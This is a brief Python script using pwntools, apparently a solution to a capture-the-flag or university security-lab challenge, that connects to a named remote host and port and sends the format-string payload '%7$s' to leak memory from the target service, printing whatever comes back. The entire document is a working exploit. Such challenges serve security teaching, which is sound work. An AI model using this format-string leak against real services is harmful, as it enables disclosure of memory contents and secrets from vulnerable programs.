from pwn import remote HOST = "mustard.stt.rnl.tecnico.ulisboa.pt" PORT = 25191 conn = remote(HOST, PORT) pl = b"%7$s\n" conn.send(pl) while conn.connected(): print(chr(conn.recv(1)[0]), end="", flush=True)